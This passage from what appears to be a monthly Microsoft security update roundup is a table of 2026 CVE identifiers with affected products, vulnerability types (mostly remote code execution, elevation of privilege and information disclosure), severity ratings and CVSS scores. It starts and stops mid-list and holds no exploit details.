\n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution 